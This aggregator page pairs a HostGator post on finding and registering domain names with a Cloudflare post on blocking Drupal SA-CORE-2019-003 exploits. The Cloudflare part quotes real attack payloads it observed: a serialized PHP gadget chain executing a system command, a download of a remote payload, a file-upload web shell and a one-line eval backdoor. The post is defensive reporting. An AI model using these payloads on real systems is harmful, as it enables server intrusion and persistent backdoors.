make sense for almost any website are: .net .cc .co .info .online .site .space .website .ws .tips .ninja .name (best for websites of individuals) .me (best for websites of individuals) .us (for US-based businesses) Some good ones to consider for businesses are: .biz .bz .store .agency .guru There are also a number of industry or topic domain names you can consider, a few examples include: .accountant .art .builders .design .fashion .food .fitness .tech If the domain you want is available for one of the top level domains that make sense for your business, then you can stop your search here. If you’re still not satisfied though, keep exploring your options.   3. Think of similar variations. A lot of the time, you can figure out a domain name that’s really close to the original one you had in mind that is still available. The person who had hoped for can continue their search for domain names that use hyphens or similes. For example: Etc. Get out your thesaurus and come up with a list of as many similar variations of the domain name as you can. It may take some work and a lot of searches, but you can probably find some variation that’s still available with a top level domain you want.   4. Brainstorm alternative ideas. If none of the previous steps helped you find a domain name that would work, then do some more brainstorming. Think about:   Words related to what your website will be about. The similes from your thesaurus may not have given you what you need, but the English language has a lot of words. Try to think of as many related ones as you can. The Related Words tool can help. Clever puns. A good pun in your domain name is a way to give your website some personality right off the bat, while also helping you find a name that’s memorable without being obvious enough to have already been snatched up. If puns aren’t your specialty, the Pun Generator can help. Popular keywords. Keyword research not only reveals a lot of terms similar to the one you had in mind, but it also shows you what language people are using when they’re searching for what you plan to have on your website. And when possible, including a keyword in your URL can help with SEO (search engine optimization). Words that mean something to you. One of the best ways to come up with a domain name that 100 people before you haven’t already thought of is to make it personal. If your website will mostly be pictures of your puppy Buddy, something like will probably be more accessible than a more generic name, and will still be memorable and accurate.   It will probably require some time and creativity, but by following these steps, you should eventually be able to find a domain name that’s available.   I Found an Available Domain! What’s Next? You finally found an available domain that works for you. There’s no time to lose, claim it while you still have the chance!   1. Register the domain. Domain registration is quick and easy. You can register a domain name right at Hostgator. Whether or not you register through HostGator, you’ll want to make sure you choose an option for registering your domain that makes domain name management easier. You’ll need to renew your domain every year—and if you forget or are late paying, the domain could be snatched out from under you. If that happens, you’re not just losing the domain name itself, you’re losing all the recognition and SEO authority you’ve built on it so far. Look for a provider that provides auto-renewal and domain locking to save you from that trouble.   2. Consider domain privacy. When you register a domain, the company you buy it from is required to pass your contact information along to the ICANN WHOIS directory. The idea is that if a website owner uses their site to break the law, the government needs a way to track the owner down and hold them accountable. But the directory publishes that information on the open web where anyone can access it, which opens you up to dealing with contact from strangers and increased spam. If you’re not comfortable with that, some companies that provide domain registration also offer domain name privacy. For a small fee, they’ll replace the contact information they provide to the directory with a proxy email address, to save you from the nuisance of having your real contact information available where anyone could find it.   3. Choose your web hosting plan. You’re almost done! The main thing you need besides a domain to publish your website online is web hosting. Every website you see online is stored in a physical server somewhere. In most cases, the physical server is provided and maintained by web hosting companies that provide hosting for thousands of different websites. Your next big choice after deciding on a domain name is figuring out which web hosting platform and plan to go with. Most new websites can stick with an affordable shared web hosting plan, but websites that expect a lot of traffic or expect to need extra storage space and bandwidth should consider cloud hosting or VPS hosting. Whichever type of plan you go with, it’s important to choose a provider with a strong reputation for providing consistent service. Look for at least 99.9% uptime—that’s the amount of time your website will be available and working. Also consider how many domains your web hosting plan will allow. If you hope to have more than one over time (or have already registered a few), then you’ll need a plan that allows that. In addition, if your web hosting provider lets you manage your domain in the same place that you manage your web hosting, it will make your life easier over time—you’ll only have to set up billing and reminders in one system.   4. Build your website. If finding a good available domain seemed difficult, know that you’re just getting started. Now you have to do the work of building your website, launching it onto the web, and promoting it to the wider world. For that first part, if you don’t know anything about web design or coding, you can choose between hiring a professional designer to build your website for you, or investing in an affordable website builder. No matter what type of website you create, some elements of design are consistently important. Make sure that the website you build is: Responsive, so it works well on mobile. Any good designer should be able to create a responsive website, and many website builders include responsive templates.   Optimized for search, which means identifying the primary keywords you want to rank for and including them in the URL, title, heading, and alt tags for each page of your website.   Intuitive for visitors. Make sure the way you organize your website makes it easy for visitors to find what they’re looking for and navigate between different pages of the site. Create a clear menu and design each page so that it’s easy to find the main information you share on it.   Finding the Right Available Domain Name is Just the Start Finding an available domain name that’s just right for your website is an exciting first step in starting your website, but it’s just that: a first step. Once your domain is registered, get to work planning out what your website will look like and bringing your idea into reality. Then work on your plan to promote your website to the world. The right domain name will definitely make it easier for people to find and remember your website, but with so many different websites online, it’s not enough. Be prepared to work on SEO, share your website on social media, and try out various marketing tactics to help people find your content. If the goal is to bring your ideas and products to the world, learning how to register a domain name is just one of many important steps to making that happen. Find the post on the HostGator Blog

Stopping Drupal’s SA-CORE-2019-003 Vulnerability

CloudFlare Blog -

On the 20th February 2019, Drupal announced that they had discovered a severe vulnerability and that they would be releasing a patch for it the next day. Drupal is a Content Management System used by many of our customers, which made it important that our WAF protect against the vulnerability as quickly as possible.As soon as Drupal released their patch, we analysed it to establish what kind of payloads could be used against it and created rules to mitigate these. By analysing the patch we were able to put together WAF rules to protect cloudflare customers running Drupal.We identified the type of vulnerability we were dealing within 15 minutes. From here, we were able to deploy rules to block the exploit well before any real attacks were seen.The exploitAs Drupal's release announcement explains, a site is affected if:It has the Drupal 8 RESTful API enabled                                      Or it uses one of the 8 modules found to be affectedFrom looking at the patch we very quickly realised the exploit would be based on deserialization. The option ['allowed_classes' => FALSE] was added as part of the patch to the link and map field types. This indicates that while these items are supposed to receive some serialized PHP, there was no legitimate case for supplying a serialized PHP object.This is important because the easiest way to exploit a deserialization vulnerability in PHP is to supply a serialized Object that is crafted to execute code when deserialized.Making the situation worse was the fact that the deserialization was performed regardless of any authentication.We also realised that this meant blindly blocking all serialized PHP would break their intended functionality, as clearly these fields are supposed to receive specific kinds of serialized PHP, for example arrays or strings. Although as the PHP documentation notes, it’s always a risky thing to deserialize untrusted data, even when restricting the set of data that’s excepted.This blog post from Ambionics does a good job at explaining what a concrete exploitation of the vulnerability looks like, when applied to the Drupal 8 RESTful API.What we caughtAfter the vulnerability was announced, we created several rules to experiment with different ways to build a signature to catch exploit attempts. Within an hour of the Drupal announcement we had deployed these in simulate mode, which logs potentially malicious requests without blocking them. After monitoring for false positives they were then improved them a few times as we tuned them.This culminated in the deploy of rule D0020, which has blocked a number of attackers as shown in the graph below. The rule was already deployed in ‘drop’ mode by the time our first attack was observed at around 7pm UTC on Friday the 22nd of February 2019, and to date it has matched zero false positives. This is less than 48 hours from the announcement from Drupal.Figure 1: Hits on rule D0020, with the first attack seen on the 22th February 2019.These first attacks leveraged the “guzzle/rce1” gadget from phpggc to invoke the linux command “id” via PHP’s “system” function, exactly as ambionics did.'O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"GuzzleHttp\Psr7\FnStreammethods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"GuzzleHttp\HandlerStackhandler";s:2:"id";s:30:"GuzzleHttp\HandlerStackstack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"GuzzleHttp\HandlerStackcached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}'' After this we saw several more attempts to use this gadget for executing various payloads, mostly to test whether targeted servers were vulnerable. Things like ‘phpinfo’, echoing strings and performing calculations.The first malicious payload we saw used the same gadget, but this time to save a malicious payload from pastebin onto the user’s server.wget -O 1x.php script would have placed a backdoor on the target system by allowing them to upload files to the server via an HTML form. This would have given the attacker continued access to the system even if it was subsequently patched.<? echo "'XXXXXXXXXXXX"; $cwd = getcwd(); Echo '<center> <form method="post" target="_self" enctype="multipart/form-data"> <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" /> </form> </center></td></tr> </table><br>'; if (!empty ($_FILES['uploads'])) { move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']); Echo "<script>alert('upload Done'); </script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type']; } ?> Another malicious payload seen was much more minimal:echo '<?php @eval($_POST['pass']) ?>' > vuln1.phpThis payload creates a small PHP file on the server, which contains the dangerous eval() function. If this hadn’t been blocked, it would have allowed the attacker to issue commands via a single HTTP request to the vuln1.php file that could execute arbitrary commands directly on the potentially vulnerable system.Rates of exploitationThe pattern we saw here is fairly typical of a newly announced vulnerability. Once a vulnerability is published, it doesn’t take long to see real attackers making use of the vulnerability - initially in small numbers with “test” payloads to identify whether the attacks work, but shortly afterwards in much higher numbers, and with more dangerous and subtle payloads. This vulnerability was weaponized within two days of disclosure, but that is by no means the shortest time frame we’ve seen.It’s very hard to patch systems quickly enough to ensure that attackers don’t get through, so products like Cloudflare’s WAF are a vital line of defense against these emerging vulnerabilities.


Recommended Content

Subscribe to Complete Hosting Guide aggregator - Corporate Blogs